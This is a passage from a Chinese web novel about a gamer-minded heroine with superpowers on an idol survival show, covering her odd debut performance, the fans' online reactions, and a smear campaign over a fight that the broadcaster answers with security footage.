可能是不想误伤她，余烬只在她搞破坏的时候出手阻拦，而不是直接对着她攻击。
这给了朝晖不少练习的机会，让她得以安安稳稳地将蓝条用干净。
但他似乎并不能完全掌控自己的能力，火焰无序地爆炸着，并不受控，所以朝晖身上其实也早已经破破烂烂的，多了不少伤口。
余烬已经变成了字面意义上的“火人”，系统似乎察觉到了什么，出声提醒：“亲爱的玩家，余烬并不能完全控制自己，很有可能失去理智，将你杀死。”
“哦。”
朝晖充耳不闻，在法力值归零、没办法继续用异能之后，看也没看男主一眼，直接读档。
她回到了余烬刚刚喊她的那一刻。
玩家不会社死，只会迈着六亲不认的步伐，大摇大摆地走到他面前。
“喊什么喊？叫魂呐！”她道，“有什么任务要交给我吗？”
余烬见到她，心一悸，也不知道为啥。
或许是读档之前的经历对潜意识造成了些许影响，这次他的态度正经了许多。
他露出一个张扬的笑容，大方地看向镜头，对着话筒说道：“你是赛前投票的第一名，这是一项殊荣，代表着观众对你的认可，也代表着大家对我们节目的期待。我们导师、所有选手们也都希望能看到你优秀的表现。
“那么现在，你就作为练习生代表，上台排演一下初舞台，算是给大家做一个表率，怎么样？”
这段话激活了主线任务，朝晖满口答应，“没问题，没问题！”
练习生们呆滞片刻，似乎觉得这个解释合情合理，纷纷鼓掌，大声喝彩起来：“好！！”
至于心里在想什么，就只有她们自己知道了。
毕竟，许多练习生都在练习室中看见过朝晖练习，对她的表演曲目，也大概有了那么一点儿心理准备：D
四位导师都用慈祥的表情注视着她，微微点头以示鼓励。
于是朝晖大跨步走上台，沐浴在众人目光之下，献上一曲《魔法少女之歌》。
“嘿嘿哟哟，魔法少女在这里等候，今晚的坏蛋请你注意左右，你的行踪已经被我看透！”
“ohoh i''m a bad girl，你才发现？我很高贵冷艳，别来沾边！”
“好～运～来～钱从四面八方来！魔法少女赚钱吗？不如成为偶像吧！拯救世界多辛苦，不如成为偶像吧！一天二百零八万，钱从四面八方来！”
轻快的节奏响起，rap导入，vocal部分作为副歌。舞台动作，则是从【远古之舞】默认的材料库当中组装出来的。
根据朝晖浅薄的理解，所谓编舞，本来就是把许多基础的舞蹈素材，与部分创新点结合起来。
所以最终她的舞蹈中加入了一些符合“魔法少女”刻板印象的动作。
比如原地转圈，挥舞手臂，一手叉腰，一手伸出比“耶”：“让我来朵蜜你吧！”
该姿势最终作为本曲目的ending。
“各位导师，各位同学，这是我个人作词作曲编舞的曲目哟，感谢大家的观看！”朝晖对着台下优雅地鞠了个躬。
“……”
台下，是一片寂静。
众人的表情，是复制粘贴般的呆滞。
oAO？
唱歌导师是歌坛实力天后。
她嘴角抽搐片刻后，勇敢地挺身而出，打破寂静，试图用自己的专业知识进行点评：
“嗯……唱歌的技巧还是略显生涩，但是运用得很合适，基础也还不错，最关键的是你刚才边唱边跳，却完全没有什么瑕疵……？现场实力很稳定啊，气息、体力都非常好。”
rap导师穿得非常“嘻哈”，扎着小辫子，此刻却无措地看天看地，就是不看台上，迟疑地评价：“这个，吐字很清晰，各方面技巧也没什么问题，表现力不错，就是歌词部分……感觉还能改善一下。”
舞蹈导师年纪比较小，乃是新生代偶像团体的舞担，她结结巴巴地道：“你的舞蹈动作框架很大，你的身高较高、四肢修长，舞蹈的细节很到位，就是跟歌曲主题似乎不太搭配。”
综艺感担当的负责人，老牌影帝，是个混圈多年的老油条了。
他是在场唯一一个真心实意露出笑容的人。
“节目组找到了个宝啊。”他凑到余烬旁边，笑吟吟道，“我觉得这位选手——朝晖——奉献出了一场非常有感染力的表演，绝对可以令人印象深刻，你觉得呢？”
本节目PD余烬：“……”
余烬使出了洪荒之力，才勉强维持住表情不崩。
他扯了扯嘴角，对总导演道：“还好让她提前表演了一下，也算是打个预防针，不然明天的正式录制就没几个镜头能看了。”
他作为顶流偶像，出道多年，自认为表情管理非常不错，刚才也差点崩了。
总导演：“……”
导师们都是大牌，节目开播时会有“导师表演”环节，所以导演安排他们优先过流程，走了下过场就匆匆离开。
也许是余烬被创得太重，心灵受到了伤害，这次他没有叫朝晖去什么休息室进行谈话。
“他应该是想跟你谈谈异能者身份的事。”系统试图挽回一点男主的颜面。
“还是算了，我对装X犯过敏，这恋爱线任务不做也罢。”朝晖摆摆手。
她顺势打开【卫文谨】人物卡瞅了一眼，这一看，好悬没从座位上翻下去：“？？”
好感度变成正的，足足有5个点，这也就罢了。
怎么亲密度暴涨到50？！
“……”
“我俩干啥了？”朝晖纳闷不解，“不会是我睡着的时候，你们游戏强行安排了一些少儿不宜的剧情吧？”
系统慌忙道：“没有没有，这个亲密度提高，是由于玩家您和卫文谨共同进行了紧张刺激的冒险，又达成合作，彼此间的联系增加了。”
“啥冒险啊，那不是我一个人去的吗，他就在外面开开车，这也算？”
系统：“……有没有一种可能性，您冒险时所用的异能还是从他那里偷……借来的呢？”
“好吧。”
朝晖不欲争辩，转回正题：“那这个亲密度到底有什么用啊，有奖励吗？”
“亲爱的玩家，亲密度和好感度的增加，可以解锁更多人物资料，以及开启约会、赠礼等功能，增加与男主们的浪漫相处哦～”
朝晖“啪”地把系统界面关掉，回练习室练习去了。
系统：……
彩排一直持续到很晚，但最重要的部分都已经结束，剩下的基本是一些细节问题、选手个人的演出彩排，朝晖走了也没人管她。
策划组和导演组的人，都不禁抹了把汗。
总策划更是找来了伊尔莎和裴韫：“虽然正式录制开始后，助理就不可以入境，但为确保一切顺利，你要跟着摄像机跟拍。”
膝盖中箭、无故增加了许多工作量的伊尔莎，只好点点头。
总策划又对裴韫说道：“你们是一个宿舍的，能说得上话。她的镜头不会太少，知道吧？你多跟着她，别让她惹事，能拿到多少镜头就看你的本事了，明白吗？”
裴韫是个小透明，节目组没有给她留“剧本”。
像她这样的小透明很多，素质都还可以，不缺实力，不缺容貌，最多就是个人特色没有那么鲜明罢了。
她们缺的，是一个机会。
多蹭点镜头给观众留下印象，说不定就能多留两期，避免一轮游的下场。
这算是总策划给出的好处了，裴韫低下头，轻声道：“好的，我会好好努力的。”
27. 云端能源（15）
经过紧锣密鼓的排练与录制，《星光训练营》总算是在无数观众的注目之下，宣布开播！
节目首播定于三月初，每周六、周日各更新一期，边拍边播，持续至五月底的总决赛，预计是总共20期。
除了经过剪辑的录播之外，节目组也会安排直播、花絮拍摄等等，致力于用丰富的内容满足观众们的期待。
资深秀粉林月自然也是这诸多期待者当中的一员。
于是，她在周六晚黄金时间19:30，不停地刷新页面，准时点开《星光训练营》第一期。
“哟，整整一个半小时！这时长我爱了。”
林月早已准备好瓜子板凳，开开心心地窝在她的狗窝里，看起综艺。
开播之前，她就刷了不少选手的自我介绍视频，也给她喜欢的选手照片投了票。
要说这么多令人眼花缭乱的美少女当中，谁留给她的印象最深刻，自然非97号选手朝晖莫属。
“号码排这么后面，是最后才确定进组的吗？”林月想着，“不知道她在节目里还会不会保持最开始的整活人设，有点期待。”
第一期内容，《星光训练营》与其他选秀综艺相比，并没有什么创新的地方。
无非就是选手们开场的独白，碎碎念的内容，拉一拉期待感，然后一个个从预备好的走廊中步入拍摄大厅，自己选位置坐下。
担当开场角色的是两个拿了相关剧本的女生。
她们俩的共同特点就是长得比较讨喜，还特别能唠，擅长吐槽，一开始就逗得林月露出笑容。
其中一个圆脸大眼睛的小姑娘，叫钱朵朵，她在人均纸片人的偶像当中属于身材“微胖”的类型，但笑起来有个小酒窝，特别有福气的长相。
“这个女生的名字好啊。”林月一下子把她给记住了。
很快，选手们按照公司，一组一组地入场。
这入场的顺序，当然也颇有讲究，比如说万众期待的“寰天五人组”就被放在了中间靠后的时间段。
她们出场的时候，镜头扫过四周，已经落座的诸位选手都捂住嘴，发出震惊的吸气声。
入场时出现过的钱朵朵出现在屏幕中，瞪大眼睛夸张道：“天呐！那就是寰天的诸华清和盛绫儿吗？也太漂亮了吧，比照片还好看！”
下一刻，镜头给到前方的五人组。她们排成一排，整齐划一、大大方方地鞠躬：“大家好，我们是来自寰天文化的练习生！”
“呜哇～～！”
下面一片鼓掌欢呼。
哪怕早已识破节目组惯常用的剪辑方式，林月的期待感也不禁升起不少。
一眼望去，这五人组当中没有长得不好看的，都是漂亮小姑娘，可以称为“完颜团*”。
但要论第一印象，其中两个毫无疑问要比另外三个突出。
“啊，我记得，诸华清和盛绫儿。”林月一拍大腿，“最近上过热搜的很火的那对寰天姐妹花，动态看起来真不错，美的美的！”
她俩已经积攒了不少粉丝，此刻弹幕飘过各种“诸华清全能ace”“盛绫儿星光门面*”“双生红白玫瑰yyds”之类的打call弹幕。
不过这些练习生毕竟都还是糊糊，除了余烬出场时，弹幕被刷爆了，其他选手暂时没看到有粉丝刷屏或者吵架。
在一众吃瓜选手当中，一条特别大的特效弹幕飘过：“啊啊啊啊啊啊嗑死我了！青梅竹马红白玫瑰双ace惺惺相惜！盛华今天就美帝*！”
此刻镜头正好给了双人组一个特写。诸华清温柔缱绻，盛绫儿张扬热烈，两张唇红齿白笑靥如花的面庞放在一块，让原本打算吐槽“cp脑又来了”的林月一噎。
“哎呀妈呀，好配！”
林月迅速将两个漂亮妹妹加入自己的pick名单。
她们一一自我介绍，随即表演了一个完成度很高的唱跳舞台，实力相当不错。诸华清、盛绫儿两人还各自表演了个人特长，迎来阵阵鼓掌喝彩。
结束后，二人果不其然拿到A评价。
被漂亮妹妹迷花了眼的林月，仍没忘记自己的初心，疑惑地嘀咕着：“不是说朝晖已经转约到寰天吗，难道是单独一组？也对，她们五个肯定提前排练好初舞台了，没办法临时更改。”
等啊等啊，等到选手们落座的平台上几乎快满了，朝晖还没上场。
弹幕全是“朝晖呢？”“赛前投票第一名压轴吗？”“来看整活妹子了，她是不是还没上啊？”
零星夹杂着几条“好没礼貌啊，其他妹妹还在表演”“能别刷无关弹幕吗？”的内容。
弹幕量一时之间暴涨，观众们的心理属实是被节目组狠狠拿捏了。
可惜的是，虽然是剪辑的录像，但首播这天采取的依旧是类似于电视直播模式，观众不能快进，只能老老实实等待。
这在一定程度上保障了糊糊选手的权益。
比如林月就捡到了好几个不错的妹妹，尤其是其中一个身材高挑的练习生，小脸猫眼，初舞台选了一首难度较高的舞蹈，实力优秀。
“大家好，我是来自花田娱乐的裴韫。”她结束表演后，怯怯地拿过话筒。
明明刚才的舞台表演，风格强烈、舞蹈有力，冷脸的样子看起来Alpha气息十足，但说起话来竟然很软萌，很紧张的模样。
这台上台下的反差萌，这略显青涩的新人美*，一下子就狠狠击中了林月的心巴。
可惜裴韫似乎不算受捧，初舞台被剪辑到只剩一半，还被导师评价为“vocal不突出”，丢进了B组。
结束后也没有加演镜头，直接就下一个了。
倒是弹幕评价不错，基本都是“这个跳舞很好”“比公式照好看，修图师出来挨打”“原来是这样的性格？看照片还以为是冷脸御姐”“才B组？刚刚不是也有一个只唱歌不跳舞的去了A组吗？”
眼见一个半小时的节目已经来到最后十分钟，林月不敢相信：“把朝晖放在第二期！？”
分组的初舞台表演，足足九十多个人，看起来很多，但其实有不少人是集体表演，比如寰天五人组。
且绝大部分选手的表演都是剪辑版，并不完整，除了拥有“个人才艺”“个人加演”的选手，其她人每组表演也就一两分钟时间。
第一期节目的讨论度是很高的，按理说人气选手应该会放在第一期才对……吧？
林月忽然想起，本节目最受到看好的姐妹花，已经在第一期中途出场过了。
“完了，为了话题度和播放量，朝晖估计要在明天了。”林月笃定道。
弹幕众人也逐渐明悟，大骂节目组“吊人胃口”。
万万没想到，这最后十分钟，朝晖还真就出现了。
留着刚刚及肩的短发，穿着青春活泼的短卫衣和格子短裙，一双大长腿迈个不停，她风风火火地走上台。
“大家好，我是来自星宇……呃，来自寰天文化的个人练习生朝晖！”97号选手露出一个大大的笑容。
镜头切换到五位导师，众人都是一脸“……”的表情。
余烬艰难地拿起话筒：“呃，朝晖选手，你不是个人练习生吧？”
“哈哈哈哈！”
镜头给到选手席位上，大家笑得很捧场。
唯有细心之人，才能察觉她们嘴角的一丝僵硬；；
“啊呀，不好意思，嘴瓢了。总之，各位导师们好，首长好，同
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志们好！接下来我将要表演的曲目是《魔法少女之歌》，这是一首由我个人作词作曲编舞的歌曲哟，请多多期待吧！”
“3、2、1，music！”
高清镜头给她的正面来了一个大特写，朝晖扬起眉毛，灿烂的笑容略微收敛，化做一个浅淡的微笑。
下一刻，画面突变，欢快的音乐响起。
……是谢幕名单。
一个男声用播音主持腔声情并茂地说着：“本节目由xx饮料、xx手机赞助播出，接下来将要播放的是，下期预告：……”
林月：……
弹幕：……
节目组，你是懂断章的。
预告中自然没有朝晖舞台的镜头，倒是有看完她表演之后的选手、导师reaction。
大家的表情出奇地一致：OaO！
“卧槽，节目组你可真是个小可爱，这是她实力很不错，震惊全场的意思吗？”有弹幕重拳出击。
也有人隐隐怀疑：“她会不会还是整活了，从刚才那段话来看，她肯定是搞笑角色。”
“看脸就能出道的人去当搞笑役是否过于浪费了些？”
“插个嘴，朝晖太好看了，同样的镜头怎么就感觉她打了滤镜一样。”
“短发好合适啊……我觉得比长发更好看，当然，没有说长发造型不好看的意思。”
林月猛点头。
实不相瞒，方才她暂停、回放，把结局那个表情变换的镜头看了整整十遍。
虽然理智告诉林月，朝晖十有八九担任的是搞笑役角色。
但是情感上，她已经被美色深深地迷住——
短头发的朝晖，比起原来更多了一丝“无性别感”。
这并非是指朝晖长得像男性。
与之恰恰相反，其实朝晖的轮廓柔和，一双桃花眼，笑起来相当甜美。
但是，她身上的“少年感”很强，她的行为举止和气质，都仿佛一个未经驯化的、朝气蓬勃的孩子。
有社会学家认为，人的“性别气质”绝大部分来源于后天的社会规训。
男人被认为要阳刚强壮，女人被认为要柔美温和。于是慢慢地，他们就被周围的所有人、被整个社会给“驯化”成了如今的模样。
人类是社会动物，她们总有一天要学会从众，要学会让自己融入环境——她们的天真无邪被磨去，她们的勇往直前被阻碍，她们的幼稚幻想被打破——但她们只能如此。
这不能怪她们，这是人类为了自身生存而选择的路线。
为了生存，不丢人。
但朝晖呢？
朝晖的眼神，就像是婴儿，清澈、好奇，却又带着一丝冷漠。
她不因为你钱权加身而恭维，也不因你丑陋贫穷而鄙夷。一切全凭她个人的喜好。婴儿是合乎天性的，是自由自在的。
她身上还有一种天不怕地不怕的气质，就好像她真的有这份能力一样。
她到底是在什么样的环境中长大的？
林月感到战栗，她的心脏像是被无形的手紧紧攥住，血液被这有力的泵压输入到全身，呼吸急促，面色涨红。
透过薄薄的屏幕，她有一种自己正在被朝晖注视着的错觉。
哪怕她每周需要工作60小时，身处狭小的胶囊公寓，烦恼却仿佛被尽数抽离，她被那双清澈的眼睛带入仙境，一个无忧无虑的天堂。
太美好了。
怎么会有这么好看的人？
林月抄起键盘，怒而回复刚才一条“朝晖刚才那个嘴瓢好尬，疯疯癫癫的，脑子没问题吗”的评论：“怎么还人参公鸡？你才是脑子有病吧？我女儿这么优秀，酸鸡别在这跳脚丢人现眼！”
28. 云端能源（16）
林月对于自己新pick的朝晖妹妹那火热的爱意，在第二期节目开播后被一盆冰水兜头浇灭。
这回节目组没有吊人胃口了，开局没过多久，其他七七八八的小选手表演完之后，直接放了王炸：无剪辑版本《魔法少女之歌》。
一时之间，台下坐着的练习生、屏幕前的观众们都被震住了，呆在原地久久不能回神。
吵导师番位、吵哪个选手更好看更厉害、吵余烬到底是不是顶流（？）的各种弹幕纷纷停下。
在这一刻，他们史无前例地团结起来，共同在弹幕上留下整齐划一的：
“……”
“呀……嘶……”
四位导师早有准备，把自己彩排时说出的评价倒腾倒腾，重新说了一遍，勉强算是维持住了节目的正常氛围。
但余烬就很难做了。
众导师之中，综艺咖是影帝，vocal导师是歌后，两个大前辈就算露出不太好的表情，观众也只会嘻嘻哈哈。
rap导师乃“嘻哈圈”中人，本身人设就是无拘无束畅所欲言；唯有舞蹈导师和他是同僚，乃人气偶像团体的舞担，但她在所有人中咖位最小，存在感最低。
但余烬，可是PD啊！
还是顶流级别的偶像！
他只要一句话没说好，一个表情没做对，那节目开播之后，铺天盖地的黑粉就会一拥而上，把他骂得找不着头。
公司巴不得走“黑红”路线呢，恨不得在合约结束前榨干他的最后一滴血，才不会给他公关。
他不怕被骂，但是……
余烬深呼吸两口，露出一个公式化的笑容，风轻云淡地鼓了鼓掌：
“导师们说得都很不错，那么经过我们五位导师的评定，朝晖的最终评价是——”
“B组！”
林月松了口气。
好险，差点被憋死。
看《魔法少女之歌》的表演时，她一不小心就忘记自己还能呼吸了呢：）
虽然这首歌的的确确是有那么点魔性，但是事后这么一回味，似乎……
好像也还行？
歌曲的旋律相当入耳，轻快之中还带着一些魔法色彩，非常契合《魔法少女之歌》的主题。
整首歌的编曲也很精妙——林月因为喜欢看选秀，自己也耳濡目染接触到一些音乐方面的知识，能察觉到整首曲子的编曲很完整，层次丰富，不太像是新人制作者的作品。
至于表演部分，朝晖的声音是比较普通的女声，但她的语气欢快、情感丰富（？），唱跳水平相当稳，完全没有走音、气息不稳的情况出现。
初舞台经过节目组轻度修音，但烂白菜也做不出山珍海味呀，前面不少选手的唱跳水平都挺一言难尽的，一看就是新人。
舞蹈动作——嘶，尬是尬了点，但动作做得很到位，功底不错。
这么细细一品味，林月忽然就觉得，朝晖如果选了首正常的曲子，说不定能拿A。
……真正的粉丝就是会溺爱自己的爱豆，从一锅老鼠屎中找到一滴汤！
她的心理活动不过是一瞬间的功夫，镜头一转，只见朝晖那张好看的脸蛋再次出现，上面全是不可置信。
“B？”朝晖大声抗议，“系统，我这么优秀的表演竟然不是A组？怎么会这样！你们游戏的等级评定是不是有什么问题啊？”
林月呆住了。
震撼。
绝对的震撼。
这段“咕噜咕噜”“阿巴巴”的乱七八糟台词，竟然没被节目组剪掉！？
“嗯嗯，朝晖选手果然很热爱魔法少女主题呢！”歌后一边抹汗一边露出勉强的笑容，“来来来，我们接下来的环节是……”
裴韫在节目组员工的各种眼神暗示下，冲上台英勇地把朝晖拉了下来。
林月：……
她大概猜到为什么节目组会让朝晖最后一个表演了。
看完她的演出，大概很难不影响到其他人的状态吧……
第二期节目后半部分还有五位导师各自的表演、接下来的赛制公布等等环节，但就连余烬的个人演出，都沦为了朝晖的陪衬。
余烬的粉丝试图把弹幕刷得整整齐齐，却依旧打不过数量庞大的吃瓜路人。
“震撼我全家的一位选手。”
“节目组是不是恶剪了？又搞什么欲扬先抑的剧本？”
“精神状态非常美丽的一位女孩，我忽然想pick她。”
“话都说不清楚，还当场反驳导师的评价，这么没礼貌没情商的东西也有人喜欢？我看你们是疯了吧！”
*
“节目组疯了吗？”
谁还没偷藏个手机了，节目一播出，选手们就各自趁休息时间悄悄刷起评价。
第一期播出后，看到朝晖的热度，大家羡慕嫉妒。
第二期播出后，看到节目组的剪辑，大家目瞪口呆。
周日晚播出的节目，当天晚上，#朝晖当众顶撞导师#的黑词条就冲上趋势。
无数营销号如嗜血鲨鱼般下场，整齐划一地探讨起这个话题，甚至有人爆出了“朝晖赛前打人”的猛料。
此刻，朝晖本人正在练习室练习，准备新任务：完成主题曲的练习和表演。
她把任务完成、升级后的新天赋点加在了【创作】之后的天赋树内，正在研究【压制之手】的效果。
“系统，假如我做一个能沉默别人的道具，再复制他的异能，他应该就打不过我了吧。”朝晖笃定。
指向性过于明显，系统默了默，才道：“余烬不仅是【恋爱】线的男主，也是主线任务相关的重要npc，您……还是不要打他了吧？”
“俗话说得好，台上一分钟，台下十年功。将军不打无准备的仗，玩家不打没攻略的boss。”
朝晖的小嘴嘚吧嘚吧说个不停，完全把身边的裴韫当空气。
节目正式开播后，她们就可以在录制大厅所在的楼里进行练习了。
《星光训练营》财大气粗，租用了一整座六层的大楼作为拍摄场地。这里练习室就比较多了，足足有七八个，所以朝晖成功地被“孤立”，得以独占整个练习室，只有裴韫默默跟着她。
裴韫的舞蹈很好，她从很小的时候就被星探相中，开始学跳舞了。
这么多年来，她总是在练习室中默默地努力着，就算是被欺负、被别人奚落，她也从未放弃练习。
但最近几天，她练到一半的时候总是仿佛有些不舒服，要去洗手间。
节目组下发了新的制服，是便于练习的运动装，有长袖、短袖、长裤可供选择。裴韫也一直穿着长袖。
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她再次去往洗手间的时候，正撞上偷偷在厕所玩手机的周小满。
“裴裴！”
此刻已经临近午夜，绝大部分练习生都去休息了，只有少部分人还在练习室中“卷”。
节目组是不管选手们几点睡觉的，练习室24小时开放，想待在这儿通宵也没问题。
当然，除了朝晖，没人会真的通宵。练习再重要，她们也是要上镜的艺人，不睡觉的状态不好，反而不美。
因此，这个点儿的厕所是爆满的。
咳，因为宿舍内有摄像头，所以大家都抓紧了睡前的一点儿时间，躲在厕所玩手机呢……
“小满？”
周小满以为她要上厕所，好心地给她让出一个单间。其他选手抬头看一眼之后，发现来的是同行（？）而不是巡逻的节目组员工，便纷纷低下头去争分夺秒地玩手机。
裴韫并不是真的来上厕所的，不过她还是接受了朋友的好意，进去呆了一会儿。
“你是不是没看手机？”周小满拉住她，“我刚给你发消息，你都不回我，我也没敢去朝晖那间练习室找你。”
“我……不怎么看的。”裴韫说。
她是很容易受到外界影响的人，索性选择不看，免得心态不好。
周小满似乎也明白了，好心道：“我看见好多人夸你的！很多弹幕评论都说你跳得特别好，当然啦，我也这么觉得！”
裴韫浅浅地笑了一下。
“说到朝晖，她好像……上热搜了。”周小满瞧了瞧裴韫的表情，小心翼翼地开口。
“诶？”裴韫一怔。
选手们私下里，对朝晖大都是敬而远之、视为奇葩的态度。
而裴韫是朝晖唯一的室友，也是目前选手当中唯一一个能和朝晖说得上话的人，敏感的女孩子们下意识地便对裴韫报以同样的态度。
——万一哪里得罪了裴韫，朝晖发疯来给她出头怎么办？所以还是远离吧。
其实裴韫觉得这样很好。
她喜欢静静地呆着，喜欢独自一个人，喜欢不被打扰的安宁。所以她选择去朝晖的练习室，因为她明白那个看起来疯疯癫癫的人，是真的会“无视”她。
对她没有恶意、偶尔帮助她的同时，还不会给她带来“被注视”的压力。
这太完美了，裴韫有时候恨不得一辈子这么维持下去。
所以，比起她自己，裴韫反而更加关心朝晖相关的事情。
“热搜？是什么样的？”她歪头看向周小满。
“她……好像是被人黑了，不仅上了好几个黑热搜，连‘那件事’也被爆出来了……节目组好像正在紧急公关呢。”
裴韫一愣，然后脸色一变，焦急地想要回去拿手机。
她的手机在宿舍里。
“你先用我的吧！”周小满连忙拉住她，把自己的手机递过去，“我还不急着回去睡觉呢。”
裴韫此刻也顾不得客气，接过手机、打开社交软件，急急翻看起来。
#朝晖打人#
#朝晖当众顶撞导师#
#星光训练营朝晖#
以上三个热搜词条均位于前十，第一个更是高居榜首。
热度已经爆炸了，裴韫点进去一看，#朝晖打人#词条内置顶的内容，竟然是“受害者”杨茉的自述！
29. 云端能源（17）
“云端能源怎么回事！？”
深更半夜，《星光训练营》节目组的背后上司，番茄台相关部门负责人却齐聚一堂。
会议室内灯火通明，公关部员工焦头烂额，却拿不出一套合格的方案。
外界风向变得飞快，现在播出的两期节目内已经涌入大量路人，全都在刷“朝晖退赛”“黑心节目组”“施暴者怎么还能留在节目里”之类的评论。
热度是爆炸了，但……这也不是节目组想要的那种爆炸啊！
“我们留了监控录像。”策划组的杨梅冷静地说道，“联系上云端能源了吗？”
公关部员工摇头：“联系是联系了，但是这件事似乎是杨勇的个人行为，和云端能源没有关系。”
说是没关系，但杨勇作为股东，一举一动也会影响到背后的公司，甚他的个人行为会影响到云端能源的股价。
所以云端能源也表示会跟进这件事情。
总策划不禁想起前段时间，朝晖问他能不能让她的室友裴韫转公司，他就把这件事汇报给了上级。
有安全局、余烬两方做保，且事情牵涉到异能者，番茄台老总原本打算卖了朝晖这个人情，帮她把事情给办成了。
裴韫不过是个小糊咖，花田娱乐也是一家小公司，而番茄台可是背靠政府的电视台！
这有什么难的？不过是一句话的事情。
结果事情遭云端能源横插一手，谈判失败。
那件事，似乎也是杨勇的个人行为，他利用自己的权势对花田娱乐施压，威逼利诱，让花田娱乐冒着得罪番茄台的风险，也不敢释放裴韫的合约。
“杨勇那家伙这么小家子气？”有人嘀咕，“他女儿不是没事吗？而且我记得资料上写着，他还有另一个孩子吧。”
自己的女儿被人家揍了，确实是很丢面子，可揍人那是一位异能者啊！
异能者们脾气大多不咋地，像余烬那样愿意在镜头面前装一装的，都算和善可亲了。
况且，俗话说得好，不打不相识。
不如趁着这个机会，与一位新冒出头的异能者打好关系，让对方欠下人情，以后要是遇到什么事儿，不就用得上了吗？
番茄台上一位总负责人，就曾因为个人恩怨遭遇恶性绑架。
绑架者队伍很难对付，警察一时之间拿不出什么办法，总负责人的生命安全岌岌可危。
正是因为她交往过一位异能者朋友，而那位朋友听说此事后，连夜喊上了自己好几位异能者同僚，及时出动，才能让总负责人得以被安全营救。
所以番茄台上层对于异能者，都是抱着能打好关系就打好关系的态度。哪怕用不上朝晖，安全局那边的面子也是要给的嘛。
就算处不上关系，也不能把人家给得罪了吧？
异能者犯罪率可不小，且很难被抓获，一不小心惹到了人家，光脚的不怕穿鞋的，说不好连小命都会丢掉。
没看见朝晖自从节目正式开始录制后，就天天光明正大地在练习室边唱歌跳舞边玩手机，导演组员工却全都假装没看见？
再说了，听说杨勇女儿虽然受伤吐血，却没留下什么大问题，好好治疗的话并不会有后遗症。
对比其他异能者揍人，受害者不是缺胳膊就是少腿的纪录，这样的结果，足可以称赞朝晖一句“脾气温和、见好就收”。
杨勇此举，显然是要彻底和朝晖、安全局打擂台了，实在不明智。
“联系上杨勇的秘书了！”公关部员工惊喜道。
“怎么说？”上级皱眉，“他违背了我们最开始的约定，事情闹成现在这样，总得给我们一个说法吧。”
“他……他说这件事情背后还有隐情，最迟明晚给我们回复。”
“明晚！？”
番茄台员工都很不解，“等到明晚，花儿都谢了！”
上司拍板：“明晚肯定不行，你转告一下，最多三个小时，三个小时后若他还不给出一份合适的答复，我们就在明早八点公布杨茉、朝晖两人的那段录像，为朝晖澄清。”
*
这件事，杨勇是知情的，但他没想到，自己的儿子把事情闹得这么大。
“你疯了！？”杨勇用他那浑浊的双眼紧紧盯住杨帆，大声咒骂，“你知不知道……你知不知道……”
那是个异能者啊！！
杨勇身为云端能源的股东之一、前“隔离区”员工，有资格了解异能者、怪物相关的事情。
可他与安全局签署过保密协议，那可不是简简单单的一张纸，而是拥有奇异力量的、让他根本无法将秘密诉诸于外人的一份“契约”。
他的妻子、女儿、儿子，都对异能者一无所知。
杨帆依旧不知道事情的严重性，他吊儿郎当地说：“那小贱人到底睡了哪个寰天的老总啊，这么保她？爸，你女儿被人打了，你竟然一点都不生气！”
“啪！”
杨勇狠狠给了儿子一巴掌。
但这个儿子是被他们夫妻两个千娇万宠着长大的，再狠一点他也下不去手了。
他转向妻子陈兰，怒骂道：“你教出来的好儿子！”
陈兰却立刻护住儿子，尖声道，“你怎么敢打他——这事情有什么问题吗？那不就是个下等人？”
“你个窝囊废，我早就看不惯你了，茉茉再怎么说也是我们的女儿，是大家闺秀！不帮她把这口气出掉，她以后怎么有脸出门？怎么谈男朋友？你不嫌丢人我还嫌丢脸呢！”
夫妻两个立刻开始吵了起来。
杨帆坐在地上，不可置信：“爸你打我！？”
他无法无天惯了，且耳濡目染了许多父母的坏习惯，心中恨意涌出，却并不敢多么顶撞父母。
他咬着牙跑出门去，拿出手机打电话。
三小时后，杨勇给出了答复，他愿意帮助节目组为朝晖澄清，只是他的女儿没办法亲自出面道歉、录制视频，承认她在污蔑。
番茄台老总立刻否认：“不行，你必须让杨茉出面。”
出面？怎么出面？说得倒是轻松！
杨茉在病房里闹自杀，嘴里还嚷嚷着要把朝晖杀了、要把裴韫弄死。杨勇再怎么骂她都没办法改变她的主意。
这种状态，实在是没办法说服她录制道歉视频。
家庭中没有一个人站在他的身边，心中有秘密却无法说出口，杨勇也累了，他坐在病床边，疲惫地看着杨茉：“你到底为什么跟她动手？”
家里人都知道杨茉的德行，没觉得有什么大不了的。
至少杨茉心里有分寸，她到现在还没闹出过人命，这在杨勇眼中，已经属于乖小孩了。
但朝晖那种性格，杨茉应该不会选中她作为“受害者”才对。
杨茉喜欢欺负弱小，像是裴韫那种性格怯弱、不敢反抗的人，她最喜欢。
杨茉折腾了大半夜，呆呆地躺倒在病床上。
她的后背隐隐作痛，心中只有无穷无尽的恨意。
这恨意，不能发泄给父母，也不能发泄给哥哥，于是便完完全全地投射在了其他人身上。
“没有为什么，看她不爽。”杨茉说。
杨勇沉默了一会儿，又问：“另外一个呢，叫什么……裴韫？我不是告诉过你，进节目组之后注意一点吗？”
裴韫？
杨茉
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对裴韫没什么感觉，那只是被她欺负过的无数个人中的一个罢了。
看到了就逗逗她呗，反正她也不会反抗。
霸凌者的恶意，本来就不需要任何理由。
若说她有什么特殊的地方……
“裴韫有把柄在哥哥手上，放心吧，她一直很听话——朝晖完蛋了，不可能会被洗白的。”
*
也许是近期遇到的事情太多，杨勇一时之间心态受影响；也许是他本来就不是什么有能力的人，总之，他并未能在3小时内给予《星光》节目组一个满意的答复。
其实，在得知此事乃杨勇的个人行为之后，番茄台就不再打算给他留面子。
就算杨勇愿意配合番茄台的安排，他们十有八九也是会把录像放出去的，最多方法委婉一些。
公关可不是一件小事，公关部成员通宵忙碌，终于在周一早上把《澄清公告》发了出来。
首先声明，朝晖打人是真的，但那完完全全就是合理的自卫！
朝晖是一个见义勇为的好人呐！
她看见两位其他选手起了争执，就上前试图阻拦，想要缓解二人关系。
万万没想到，杨茉被她好心劝阻，却丝毫不领情，反而率先出手伤人！
于是朝晖为求自保，才大力地把她推出去（？），意外导致杨茉受伤。
《公告》行文之间暗戳戳阴阳了一把杨茉，但还是给她留一点面子，没有点出她“霸凌”裴韫这件事。
杨勇若是还有点脑子，就会把这个哑巴亏吃下去。
放出的录像，位置也很巧妙，监控摄像头正位于朝晖后侧方、杨茉前侧方，恰好拍到杨茉狠狠一脚踹在朝晖身上，反而被朝晖推出去摔在墙上（？）的一幕。
连她脸上那恶意的表情，都拍得一清二楚。
其他相关人员，包括裴韫、贵宾犬、霸凌组的另外几人，都被厚厚码住了。
